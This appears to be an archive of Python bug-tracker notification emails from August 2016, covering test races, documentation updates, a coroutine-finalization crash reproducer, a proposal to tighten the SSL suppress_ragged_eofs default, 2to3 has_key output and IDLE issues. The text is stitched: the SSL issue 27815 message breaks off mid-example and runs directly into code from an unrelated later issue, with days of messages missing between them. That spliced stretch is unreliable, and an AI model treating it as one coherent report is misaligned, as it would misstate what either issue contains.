_______________________________________ From report at bugs.python.org Sat Aug 20 03:03:35 2016 From: report at bugs.python.org (Ethan Furman) Date: Sat, 20 Aug 2016 07:03:35 +0000 Subject: [issue27607] Importing the main module twice leads to two incompatible instances In-Reply-To: <1469375177.67.0.287991264427.issue27607@psf.upfronthosting.co.za> Message-ID: <1471676615.91.0.907032011885.issue27607@psf.upfronthosting.co.za> Changes by Ethan Furman : ---------- nosy: -ethan.furman _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 20 03:10:04 2016 From: report at bugs.python.org (Ethan Furman) Date: Sat, 20 Aug 2016 07:10:04 +0000 Subject: [issue26571] turtle regression in 3.5 In-Reply-To: <1458104355.45.0.620158354917.issue26571@psf.upfronthosting.co.za> Message-ID: <1471677004.42.0.977625503061.issue26571@psf.upfronthosting.co.za> Ethan Furman added the comment: Serhiy, is this a quick fix you can get in? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 20 03:19:26 2016 From: report at bugs.python.org (Ethan Furman) Date: Sat, 20 Aug 2016 07:19:26 +0000 Subject: [issue26981] add compatibility shim for enum34 backport In-Reply-To: <1462751121.21.0.925705458571.issue26981@psf.upfronthosting.co.za> Message-ID: <1471677566.32.0.428642040512.issue26981@psf.upfronthosting.co.za> Ethan Furman added the comment: Issue 26988 reverted. Need to add shim here. ---------- resolution: fixed -> status: closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 20 03:45:17 2016 From: report at bugs.python.org (Roundup Robot) Date: Sat, 20 Aug 2016 07:45:17 +0000 Subject: [issue27614] Race in test_docxmlrpc.py In-Reply-To: <1469459139.76.0.959920407285.issue27614@psf.upfronthosting.co.za> Message-ID: <20160820074514.11003.84804.3E62C4E5@psf.io> Roundup Robot added the comment: New changeset 397f05044172 by Martin Panter in branch '3.5': Issue #27614: Avoid race in test_docxmlrpc server setup https://hg.python.org/cpython/rev/397f05044172 New changeset 7136304ecf4c by Martin Panter in branch '2.7': Issue #27614: Avoid race in test_docxmlrpc server setup https://hg.python.org/cpython/rev/7136304ecf4c New changeset 17d688dedfca by Martin Panter in branch 'default': Issue #27614: Merge test_docxmlrpc from 3.5 https://hg.python.org/cpython/rev/17d688dedfca ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 20 03:45:17 2016 From: report at bugs.python.org (Roundup Robot) Date: Sat, 20 Aug 2016 07:45:17 +0000 Subject: [issue27787] Avoid test_main() in test_httplib; gc.collect() dangling threads In-Reply-To: <1471444416.58.0.403066422395.issue27787@psf.upfronthosting.co.za> Message-ID: <20160820074514.11003.91953.5F6D2AD8@psf.io> Roundup Robot added the comment: New changeset 7ddbc2263943 by Martin Panter in branch '3.5': Issue #27787: Clean up weak references before checking for dangling threads https://hg.python.org/cpython/rev/7ddbc2263943 New changeset e5777c5d108c by Martin Panter in branch 'default': Issue #27787: Merge regrtest fixup from 3.5 https://hg.python.org/cpython/rev/e5777c5d108c ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 20 04:06:45 2016 From: report at bugs.python.org (=?utf-8?b?VmVkcmFuIMSMYcSNacSH?=) Date: Sat, 20 Aug 2016 08:06:45 +0000 Subject: [issue27698] socketpair not in socket.__all__ on Windows In-Reply-To: <1470477746.64.0.384028109592.issue27698@psf.upfronthosting.co.za> Message-ID: <1471680405.42.0.679623612898.issue27698@psf.upfronthosting.co.za> Vedran ?a?i? added the comment: No problem. Thank you for fixing it. :-) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 20 04:11:42 2016 From: report at bugs.python.org (Roundup Robot) Date: Sat, 20 Aug 2016 08:11:42 +0000 Subject: [issue12982] Document that importing .pyo files needs python -O In-Reply-To: <1316032363.3.0.192750692303.issue12982@psf.upfronthosting.co.za> Message-ID: <20160820081139.2362.63929.5E572D96@psf.io> Roundup Robot added the comment: New changeset 8e9dc3e4ea91 by Berker Peksag in branch '3.5': Issue #12982: Thanks to PEP 488, Python no longer creates .pyo files https://hg.python.org/cpython/rev/8e9dc3e4ea91 New changeset 1455851e7332 by Berker Peksag in branch 'default': Issue #12982: Merge from 3.5 https://hg.python.org/cpython/rev/1455851e7332 ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 20 04:13:39 2016 From: report at bugs.python.org (Berker Peksag) Date: Sat, 20 Aug 2016 08:13:39 +0000 Subject: [issue12982] Document that importing .pyo files needs python -O In-Reply-To: <1316032363.3.0.192750692303.issue12982@psf.upfronthosting.co.za> Message-ID: <1471680819.23.0.0401690836388.issue12982@psf.upfronthosting.co.za> Berker Peksag added the comment: Yes, this can be closed as 'out of date'. I've just updated -O documentation to remove the mention of .pyo extension. Thanks! ---------- nosy: +berker.peksag resolution: -> out of date stage: needs patch -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 20 04:43:19 2016 From: report at bugs.python.org (Martin Panter) Date: Sat, 20 Aug 2016 08:43:19 +0000 Subject: [issue27787] Avoid test_main() in test_httplib; gc.collect() dangling threads In-Reply-To: <1471444416.58.0.403066422395.issue27787@psf.upfronthosting.co.za> Message-ID: <1471682599.32.0.668810212876.issue27787@psf.upfronthosting.co.za> Martin Panter added the comment: I committed the gc_collect() change to 3.5 as well, because it helped me with a separate test case. Here is the remaining change, for 3.6 only. I added a timeout to the join() call. This matches the @reap_threads decorator, which times out after 1 s. ---------- versions: +Python 3.5 Added file: http://bugs.python.org/file44163/httplib-tests.v2.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 20 04:49:13 2016 From: report at bugs.python.org (Berker Peksag) Date: Sat, 20 Aug 2016 08:49:13 +0000 Subject: [issue27698] socketpair not in socket.__all__ on Windows In-Reply-To: <1470477746.64.0.384028109592.issue27698@psf.upfronthosting.co.za> Message-ID: <1471682953.93.0.309322359114.issue27698@psf.upfronthosting.co.za> Changes by Berker Peksag : ---------- stage: needs patch -> resolved _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 20 05:22:54 2016 From: report at bugs.python.org (Martin Panter) Date: Sat, 20 Aug 2016 09:22:54 +0000 Subject: [issue23231] Fix codecs.iterencode/decode() by allowing data parameter to be omitted In-Reply-To: <1421153299.35.0.701583632763.issue23231@psf.upfronthosting.co.za> Message-ID: <1471684974.94.0.497645375905.issue23231@psf.upfronthosting.co.za> Martin Panter added the comment: Here is my documentation proposal. ---------- components: +Documentation -Library (Lib) stage: -> patch review versions: +Python 3.5 Added file: http://bugs.python.org/file44164/iter-unsupported.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 20 05:24:51 2016 From: report at bugs.python.org (Martin Panter) Date: Sat, 20 Aug 2016 09:24:51 +0000 Subject: [issue27614] Race in test_docxmlrpc.py In-Reply-To: <1469459139.76.0.959920407285.issue27614@psf.upfronthosting.co.za> Message-ID: <1471685091.7.0.656941673749.issue27614@psf.upfronthosting.co.za> Changes by Martin Panter : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 20 05:35:05 2016 From: report at bugs.python.org (Armin Rigo) Date: Sat, 20 Aug 2016 09:35:05 +0000 Subject: [issue27811] _PyGen_Finalize() should not fail with an exception Message-ID: <1471685705.62.0.520066392301.issue27811@psf.upfronthosting.co.za> New submission from Armin Rigo: _PyGen_Finalize() should not fail with an exception. Doing so can cause various SystemErrors or even fatal errors. For example, run this with "python -Werror": import gc async def f(): pass f() gc.collect() # RuntimeWarning, but with -Werror Patch attached. Test missing (turn the above example in a test; also I didn't re-run all tests with this patch). ---------- files: patch1.diff keywords: needs review, patch messages: 273199 nosy: arigo priority: normal severity: normal status: open title: _PyGen_Finalize() should not fail with an exception versions: Python 3.6 Added file: http://bugs.python.org/file44165/patch1.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 20 05:42:54 2016 From: report at bugs.python.org (Armin Rigo) Date: Sat, 20 Aug 2016 09:42:54 +0000 Subject: [issue27812] PyFrameObject.f_gen can be left pointing to a dangling generator Message-ID: <1471686174.13.0.999892263925.issue27812@psf.upfronthosting.co.za> New submission from Armin Rigo: PyFrameObject.f_gen is a pointer (not a reference) to a generator/coroutine object. But the latter doesn't always correctly clean it up when it dies. This pointer is used by frame.clear(). Here is an example I made, which ends in a segfault. This example assumes we apply the patch of issue27811 first, otherwise it just crashes earlier in the same way as issue27811. # execute this with "python -Werror" import gc async def f(): pass cr = f() frame = cr.cr_frame del cr gc.collect() # create some randomness to reuse the memory just freed by 'cr' import asyncio print("ping") frame.clear() Patch attached. No test, but you can copy the above example. ---------- components: Interpreter Core files: patch2.diff keywords: needs review, patch messages: 273200 nosy: arigo priority: normal severity: normal status: open title: PyFrameObject.f_gen can be left pointing to a dangling generator versions: Python 3.6 Added file: http://bugs.python.org/file44166/patch2.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 20 06:17:00 2016 From: report at bugs.python.org (ZHY) Date: Sat, 20 Aug 2016 10:17:00 +0000 Subject: [issue27813] When I assign for a item which list of single item Message-ID: <1471688220.69.0.490084662561.issue27813@psf.upfronthosting.co.za> New submission from ZHY: it seems can't set a value for item which I want to. ---------- components: Windows files: ???.png messages: 273201 nosy: anngg2008, paul.moore, steve.dower, tim.golden, zach.ware priority: normal severity: normal status: open title: When I assign for a item which list of single item type: behavior versions: Python 3.5 Added file: http://bugs.python.org/file44167/???.png _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 20 06:22:43 2016 From: report at bugs.python.org (Martin Panter) Date: Sat, 20 Aug 2016 10:22:43 +0000 Subject: [issue27813] When I assign for a item which list of single item In-Reply-To: <1471688220.69.0.490084662561.issue27813@psf.upfronthosting.co.za> Message-ID: <1471688563.17.0.6677904026.issue27813@psf.upfronthosting.co.za> Martin Panter added the comment: Original post: ?When I assign for a item which list of single item, it seems can't set a value for item which I want to.? See the FAQ entry . When you multiply a list, each outer item is actually just reference to the same inner list object. ---------- nosy: +martin.panter resolution: -> not a bug status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 20 06:24:39 2016 From: report at bugs.python.org (SilentGhost) Date: Sat, 20 Aug 2016 10:24:39 +0000 Subject: [issue27813] When I assign for a item which list of single item In-Reply-To: <1471688220.69.0.490084662561.issue27813@psf.upfronthosting.co.za> Message-ID: <1471688679.82.0.616714437952.issue27813@psf.upfronthosting.co.za> Changes by SilentGhost : ---------- components: +Interpreter Core -Windows stage: -> resolved _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 20 06:25:41 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 20 Aug 2016 10:25:41 +0000 Subject: [issue23231] Fix codecs.iterencode/decode() by allowing data parameter to be omitted In-Reply-To: <1421153299.35.0.701583632763.issue23231@psf.upfronthosting.co.za> Message-ID: <1471688741.53.0.529715993517.issue23231@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: > it might be simpler to document that Agreed. ---------- assignee: serhiy.storchaka -> martin.panter nosy: +r.david.murray _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 20 07:51:49 2016 From: report at bugs.python.org (Antti Haapala) Date: Sat, 20 Aug 2016 11:51:49 +0000 Subject: [issue27805] In Python 3, open('/dev/stdout', 'a') raises OSError with errno=ESPIPE In-Reply-To: <1471637472.92.0.246311076418.issue27805@psf.upfronthosting.co.za> Message-ID: <1471693909.21.0.0325365699615.issue27805@psf.upfronthosting.co.za> Antti Haapala added the comment: Presumably the case was that a *named* log file is opened with 'a' mode, and one could pass '/dev/stdout' just like any other name of a file, and it did work, but not in Python 3.5. ---------- nosy: +ztane _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 20 07:57:54 2016 From: report at bugs.python.org (Steven D'Aprano) Date: Sat, 20 Aug 2016 11:57:54 +0000 Subject: [issue27813] When I assign for a item which list of single item In-Reply-To: <1471688220.69.0.490084662561.issue27813@psf.upfronthosting.co.za> Message-ID: <1471694274.64.0.862355869351.issue27813@psf.upfronthosting.co.za> Steven D'Aprano added the comment: For future reference, don't post screen shots. Copy and paste the text of your code and its output. You don't program with Photoshop, you program with a text editor. Screen shots make it impossible to copy the code, search for the text, and make it difficult or impossible for the blind and visually impaired to contribute. ---------- nosy: +steven.daprano _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 20 08:28:02 2016 From: report at bugs.python.org (=?utf-8?q?Michael_B=C3=BCsch?=) Date: Sat, 20 Aug 2016 12:28:02 +0000 Subject: [issue27814] contextlib.suppress: Add whitelist argument Message-ID: <1471696082.59.0.515606435532.issue27814@psf.upfronthosting.co.za> New submission from Michael B?sch: This adds a whitelist parameter with the name 'unless' to contextlib.suppress, so one can specify exceptions that will not be suppressed. This is useful for specifying single sub-exceptions that we still want to catch, even of we want to suppress all other siblings. Or it can be used to suppress all exceptions except some very specific ones by suppressing BaseException and whitelisting things like SyntaxError, NameError and the like. Usage looks like this: with suppress(OSError, unless = PermissionError): with open("foobar", "wb") as f: f.write(... I selected the name 'unless' instead of 'whitelist' or such, because I think that pronounces nicely in the 'with' line context. However please feel free to make better suggestions. ---------- components: Library (Lib) files: contextlib-suppress-whitelist.patch keywords: patch messages: 273206 nosy: mb_, ncoghlan, yselivanov priority: normal severity: normal status: open title: contextlib.suppress: Add whitelist argument type: enhancement Added file: http://bugs.python.org/file44168/contextlib-suppress-whitelist.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 20 08:36:06 2016 From: report at bugs.python.org (STINNER Victor) Date: Sat, 20 Aug 2016 12:36:06 +0000 Subject: [issue27805] In Python 3, open('/dev/stdout', 'a') raises OSError with errno=ESPIPE In-Reply-To: <1471693909.21.0.0325365699615.issue27805@psf.upfronthosting.co.za> Message-ID: STINNER Victor added the comment: Antti Haapala added the comment: > Presumably the case was that a *named* log file is opened with 'a' mode, and one could pass '/dev/stdout' just like any other name of a file, and it did work, but not in Python 3.5. Oh ok, in this case, you need something smarter like: mode = 'a' if not stat.S_ISCHR(os.stat(filename).st_mode) else 'w' fp = open(filename, mode) or something like (emulate append mode, but catch ESPIPE): fp = open(filename, 'w') try: fp.seek(0, os.SEEK_END) except OSError as exc: if exc.errno != errno.ESPIPE: raise ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 20 09:00:48 2016 From: report at bugs.python.org (=?utf-8?q?Michael_B=C3=BCsch?=) Date: Sat, 20 Aug 2016 13:00:48 +0000 Subject: [issue27814] contextlib.suppress: Add whitelist argument In-Reply-To: <1471696082.59.0.515606435532.issue27814@psf.upfronthosting.co.za> Message-ID: <1471698048.73.0.252290603874.issue27814@psf.upfronthosting.co.za> Changes by Michael B?sch : ---------- nosy: +rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 20 09:19:11 2016 From: report at bugs.python.org (Martin Panter) Date: Sat, 20 Aug 2016 13:19:11 +0000 Subject: [issue27815] Make SSL suppress_ragged_eofs default more secure Message-ID: <1471699151.03.0.676654185488.issue27815@psf.upfronthosting.co.za> New submission from Martin Panter: In the SSL module, the wrap_socket() function (and corresponding SSLContext method) take a flag called ?suppress_ragged_eofs?. It defaults to True, which makes me uncomfortable. The documentation says: ''' The parameter ?suppress_ragged_eofs? specifies how the SSLSocket.recv() method should signal unexpected EOF from the other end of the connection. If specified as True (the default), it returns a normal EOF (an empty bytes object) in response to unexpected EOF errors raised from the underlying socket; if False, it will raise the exceptions back to the caller. ''' I understand the ?unexpected EOF error? happens when the underlying socket indicates EOF, but the connection was not shut down at the SSL protocol level. As well as EOF from the other end of the connection, it can happen due to a proxy, or anything else on the network that can affect the connection. I think it may be better report this error by default, just like other unsecured network-level errors like connection reset or timeout. Otherwise it is too easy to treat this insecure EOF condition as if it were a secure EOF signal of the remote peer. The flag was added as part of r64578, for Issue 1223, in Python 2.6. The reason given in that bug report was to help Python work with a HTTP server. However my theory is the server was closing the connection wrongly; if so, the server should have been fixed, rather than Python. There is plenty of precedence for using suppress_ragged_eofs=True with HTTPS servers. As well as Issue 1223, there is Issue 494762 and Issue 500311. And in my experiments, Curl and Firefox both seem to treat the error the same as a secure EOF. Maybe there should be a way to keep supporting HTTPS servers that trigger the error (though I would rather not by default). Attached is a HTTP proxy server that will let you break a connection after returning a set number of bytes (or any time by killing the server), which can trigger the error condition. Example output of proxy server: $ python truncating_proxy.py --limit 12345 Proxy server at http://127.0.0.1:46687 Proxying connection to www.python.org:443 Forwarded 12345 B to client Python 2?s httplib module does not treat a short HTTP response as an error, so the following request gets truncated without much indication of a problem: $ https_proxy=http://127.0.0.1:46687 python2 -c 'import urllib2; print(urllib2.urlopen("https://www.python.org/").read())' [. . .] X=[] X.append([n ,0,...,0] (len=m)) X.append([n-1,1,...,0]) ... X.append([n-1,0,...,1]) X.append([n-2,2,...,0]) X.append([n-2,1,1..,0]) ... X.append([0 ,0,...,n]) return X ---------- assignee: terry.reedy components: IDLE files: heap.py messages: 273621 nosy: JAG3R, terry.reedy priority: normal severity: normal status: open title: n identical objects divide into m different groups type: enhancement versions: Python 2.7 Added file: https://bugs.python.org/file44216/heap.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 00:21:41 2016 From: report at bugs.python.org (Eric N. Vander Weele) Date: Thu, 25 Aug 2016 04:21:41 +0000 Subject: [issue27855] 2to3: Wrong code output w/ has_key In-Reply-To: <1472083893.01.0.491707564074.issue27855@psf.upfronthosting.co.za> Message-ID: <1472098901.82.0.36842593553.issue27855@psf.upfronthosting.co.za> Eric N. Vander Weele added the comment: I am unable to replicate this issue with '2to3' from Python 2.7.12, Python 3.4.5, nor Python 3.5.2. Below is what I get with the versions I mentioned above. --- $ cat test.py a.has_key(b) and x $ 2to3 test.py RefactoringTool: Skipping optional fixer: buffer RefactoringTool: Skipping optional fixer: idioms RefactoringTool: Skipping optional fixer: set_literal RefactoringTool: Skipping optional fixer: ws_comma RefactoringTool: Refactored test.py --- test.py (original) +++ test.py (refactored) @@ -1 +1 @@ -a.has_key(b) and x +b in a and x RefactoringTool: Files that need to be modified: RefactoringTool: test.py --- ---------- nosy: +ericvw _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 00:55:45 2016 From: report at bugs.python.org (Josh Rosenberg) Date: Thu, 25 Aug 2016 04:55:45 +0000 Subject: [issue27855] 2to3: Wrong code output w/ has_key In-Reply-To: <1472083893.01.0.491707564074.issue27855@psf.upfronthosting.co.za> Message-ID: <1472100945.25.0.0386940815179.issue27855@psf.upfronthosting.co.za> Josh Rosenberg added the comment: Eric, remove the space from after the has_key call to match OP: $ cat test.py a.has_key(b)and x It's legal to omit the space there. ---------- nosy: +josh.r _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 00:59:15 2016 From: report at bugs.python.org (Josh Rosenberg) Date: Thu, 25 Aug 2016 04:59:15 +0000 Subject: [issue27855] 2to3: Wrong code output w/ has_key In-Reply-To: <1472083893.01.0.491707564074.issue27855@psf.upfronthosting.co.za> Message-ID: <1472101155.82.0.312241942561.issue27855@psf.upfronthosting.co.za> Josh Rosenberg added the comment: Testing it myself that way: C:\>type test.py a.has_key(b)and x C:\>"C:\Program Files\Python 3.5\Tools\scripts\2to3.py" test.py RefactoringTool: Skipping optional fixer: buffer RefactoringTool: Skipping optional fixer: idioms RefactoringTool: Skipping optional fixer: set_literal RefactoringTool: Skipping optional fixer: ws_comma RefactoringTool: Refactored test.py --- test.py (original) +++ test.py (refactored) @@ -1 +1 @@ -a.has_key(b)and x +b in aand x RefactoringTool: Files that need to be modified: RefactoringTool: test.py ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 01:23:21 2016 From: report at bugs.python.org (Roundup Robot) Date: Thu, 25 Aug 2016 05:23:21 +0000 Subject: [issue25564] Document that IDLE -python difference for `del __builtins__` In-Reply-To: <1446765964.78.0.0240100073004.issue25564@psf.upfronthosting.co.za> Message-ID: <20160825052317.45689.87963.AEC2834E@psf.io> Roundup Robot added the comment: New changeset 862761e4376e by Terry Jan Reedy in branch '2.7': Issue #25564: Mention exec and __builtins__ in IDLE-console difference section. https://hg.python.org/cpython/rev/862761e4376e New changeset 641852513b8e by Terry Jan Reedy in branch '3.5': Issue #25564: Mention exec and __builtins__ in IDLE-console difference section. https://hg.python.org/cpython/rev/641852513b8e ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 01:26:05 2016 From: report at bugs.python.org (Eric N. Vander Weele) Date: Thu, 25 Aug 2016 05:26:05 +0000 Subject: [issue27855] 2to3: Wrong code output w/ has_key In-Reply-To: <1472083893.01.0.491707564074.issue27855@psf.upfronthosting.co.za> Message-ID: <1472102765.25.0.893436138683.issue27855@psf.upfronthosting.co.za> Eric N. Vander Weele added the comment: > Eric, remove the space from after the has_key call to match OP: > $ cat test.py > a.has_key(b)and x Good catch. Disregard msg273622 from me - I am able to replicate what the OP has described. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 01:29:29 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Thu, 25 Aug 2016 05:29:29 +0000 Subject: [issue25564] Document that IDLE -python difference for `del __builtins__` In-Reply-To: <1446765964.78.0.0240100073004.issue25564@psf.upfronthosting.co.za> Message-ID: <1472102969.07.0.408614966819.issue25564@psf.upfronthosting.co.za> Terry J. Reedy added the comment: I added what I think is an improved version of what I posted. For 2.7 only, a change in the generated html outside of the text proper from using — and » to using — and »' resulted in the extraneous characters being shown. The displayed text was preceded by '????? ' and followed by the closers. Adding the missing guard 'if self.show' to the charref function prevents this. ---------- resolution: -> fixed stage: needs patch -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 01:34:45 2016 From: report at bugs.python.org (Martin Panter) Date: Thu, 25 Aug 2016 05:34:45 +0000 Subject: [issue12319] [http.client] HTTPConnection.request not support "chunked" Transfer-Encoding to send data In-Reply-To: <1307875633.83.0.874379254828.issue12319@psf.upfronthosting.co.za> Message-ID: <1472103285.2.0.349692712287.issue12319@psf.upfronthosting.co.za> Martin Panter added the comment: Here is my attempt to drop automatic Content-Length with files. I also dropped the special handling of zero-length iterables, added some tests for that, and removed some unused and misleading bits from other tests. ---------- Added file: https://bugs.python.org/file44217/chunked-file.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 02:18:19 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Thu, 25 Aug 2016 06:18:19 +0000 Subject: [issue25564] Document that IDLE -python difference for `del __builtins__` In-Reply-To: <1446765964.78.0.0240100073004.issue25564@psf.upfronthosting.co.za> Message-ID: <1472105899.68.0.385155805843.issue25564@psf.upfronthosting.co.za> Terry J. Reedy added the comment: What I meant is that one cannot use __builtin__ or builtins until one has done the import, which is why people tend not to bother and instead do things like ppperry was doing. To the extent that tkinter is limited to CPython, so is IDLE. Still, the only reference to __builtins__ is in F:\Python\dev\36\lib\idlelib\autocomplete.py: 188: (fetch completions) namespace.update(__main__.__builtins__.__dict__) I don't know why not just use __builtins__.__dict__, but this follows import __main__ namespace = __main__.__dict__.copy() To be cross-platform, you are saying that this should be on 3.x import builtins; namespace.update(builtins.__dict__) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 02:22:00 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Thu, 25 Aug 2016 06:22:00 +0000 Subject: [issue27857] n identical objects divide into m different groups In-Reply-To: <1472097639.26.0.83015178754.issue27857@psf.upfronthosting.co.za> Message-ID: <1472106120.46.0.654542090708.issue27857@psf.upfronthosting.co.za> Terry J. Reedy added the comment: Please don't post random code on the issue tracker. Use python-list to discuss your beginner efforts. Except in unusually cases, the editor you use in not relevant. ---------- assignee: terry.reedy -> components: -IDLE resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 02:22:13 2016 From: report at bugs.python.org (=?utf-8?b?VmVkcmFuIMSMYcSNacSH?=) Date: Thu, 25 Aug 2016 06:22:13 +0000 Subject: [issue27821] IDLE custom keymaps don't work anymore (Windows, Python 3.6.0a3) In-Reply-To: <1471774995.74.0.570792584911.issue27821@psf.upfronthosting.co.za> Message-ID: <1472106133.88.0.661468642325.issue27821@psf.upfronthosting.co.za> Vedran ?a?i? added the comment: Not only that, but when you're on the ground you have a much more diverse set of options for moving. `s` is "enter a different tower", `r` is "exit a tower", `n` is "move to the next tower", `j` is "teleport" and so on. :-) Also for objects... you have "look around" (a), "examine" (p), "show map" (`l` for horizontal and `w` for vertical)... yeah, all in all a nice text adventure game. :-) But the most important thing (why I don't think #24265 is amenable to this) is to have a good starting point. That's what you provided for me with "configdialog.py, line 1066". If you have such a starting point for #24265, it would be a very good thing. (You can also set conditional breakpoints, but I also don't know what condition to look for in that example.) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 03:05:19 2016 From: report at bugs.python.org (Christian Heimes) Date: Thu, 25 Aug 2016 07:05:19 +0000 Subject: [issue27850] Remove 3DES from cipher list (sweet32 CVE-2016-2183) In-Reply-To: <1472046228.4.0.176948453237.issue27850@psf.upfronthosting.co.za> Message-ID: <1472108719.51.0.366941416791.issue27850@psf.upfronthosting.co.za> Christian Heimes added the comment: Donald, !3DES de-selects all 3DES block ciphers suites. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 03:36:43 2016 From: report at bugs.python.org (Christian Heimes) Date: Thu, 25 Aug 2016 07:36:43 +0000 Subject: [issue27768] ssl: add public API for IA-32 processor capabilities vector In-Reply-To: <1471269307.92.0.240465818653.issue27768@psf.upfronthosting.co.za> Message-ID: <1472110603.52.0.902024853894.issue27768@psf.upfronthosting.co.za> Christian Heimes added the comment: GPS, sure it is simple enough under Linux. But what about other operating systems? OPENSSL_ia32cap_loc() works under Windows, too. Antoine, AES-GCM is still faster and performs better than ChaCha20 Poly1305. NSS and Mozilla's recommended cipher suite list prefers AES-GCM over ChaCha20, too. https://wiki.mozilla.org/Security/Server_Side_TLS It's reasonable and simple to provide the best cipher suite that matches the systems' capabilities. As Alex stated, performance is security. To provide the CPU capabilities to the ssl module and 3rd party authors (e.g. Cory asked on behalf of requests), let's keep ssl._ia32cap() a private function and just add two constants: HAVE_AESNI = True/False/None, HAVE_PCLMULQDQ = True/False/None (None: ia32cap is not available on the system). Is that ok with you? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 03:42:05 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Thu, 25 Aug 2016 07:42:05 +0000 Subject: [issue27852] itertools -> flatten_all() In-Reply-To: <1472059790.24.0.14619033581.issue27852@psf.upfronthosting.co.za> Message-ID: <1472110925.66.0.911923918185.issue27852@psf.upfronthosting.co.za> Changes by Raymond Hettinger : ---------- assignee: -> rhettinger components: +Documentation nosy: +rhettinger priority: normal -> low _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 03:42:24 2016 From: report at bugs.python.org (Christian Heimes) Date: Thu, 25 Aug 2016 07:42:24 +0000 Subject: [issue25847] CPython not using Visual Studio code analysis! In-Reply-To: <1449899987.42.0.470300295936.issue25847@psf.upfronthosting.co.za> Message-ID: <1472110944.22.0.0548348797177.issue25847@psf.upfronthosting.co.za> Christian Heimes added the comment: +1, if somebody is able to find time. Coverity Scan checks only X86_64 Linux builds. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 03:44:07 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Thu, 25 Aug 2016 07:44:07 +0000 Subject: [issue26488] hashlib command line interface In-Reply-To: <1457214866.19.0.989950954277.issue26488@psf.upfronthosting.co.za> Message-ID: <1472111047.19.0.122131579592.issue26488@psf.upfronthosting.co.za> Changes by Raymond Hettinger : ---------- resolution: -> rejected status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 03:49:54 2016 From: report at bugs.python.org (Antoine Pitrou) Date: Thu, 25 Aug 2016 07:49:54 +0000 Subject: [issue27768] ssl: add public API for IA-32 processor capabilities vector In-Reply-To: <1471269307.92.0.240465818653.issue27768@psf.upfronthosting.co.za> Message-ID: <1472111394.55.0.412408746348.issue27768@psf.upfronthosting.co.za> Antoine Pitrou added the comment: The constants would have to be private, too. We really don't want to encourage other users to rely on them. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 03:54:05 2016 From: report at bugs.python.org (Christian Heimes) Date: Thu, 25 Aug 2016 07:54:05 +0000 Subject: [issue27768] ssl: add public API for IA-32 processor capabilities vector In-Reply-To: <1471269307.92.0.240465818653.issue27768@psf.upfronthosting.co.za> Message-ID: <1472111645.78.0.00429134005053.issue27768@psf.upfronthosting.co.za> Christian Heimes added the comment: Why? Other libraries like requests like to use the information, too. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 04:01:43 2016 From: report at bugs.python.org (Antoine Pitrou) Date: Thu, 25 Aug 2016 08:01:43 +0000 Subject: [issue27768] ssl: add public API for IA-32 processor capabilities vector In-Reply-To: <1471269307.92.0.240465818653.issue27768@psf.upfronthosting.co.za> Message-ID: <1472112103.94.0.951354944258.issue27768@psf.upfronthosting.co.za> Antoine Pitrou added the comment: If we wanted to expose such information, we would need to do it in a dedicated module (or in `os`) and provide something that doesn't restrict itself to two particular x86 flags. requests can rely on a private attribute if they really want to. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 04:40:14 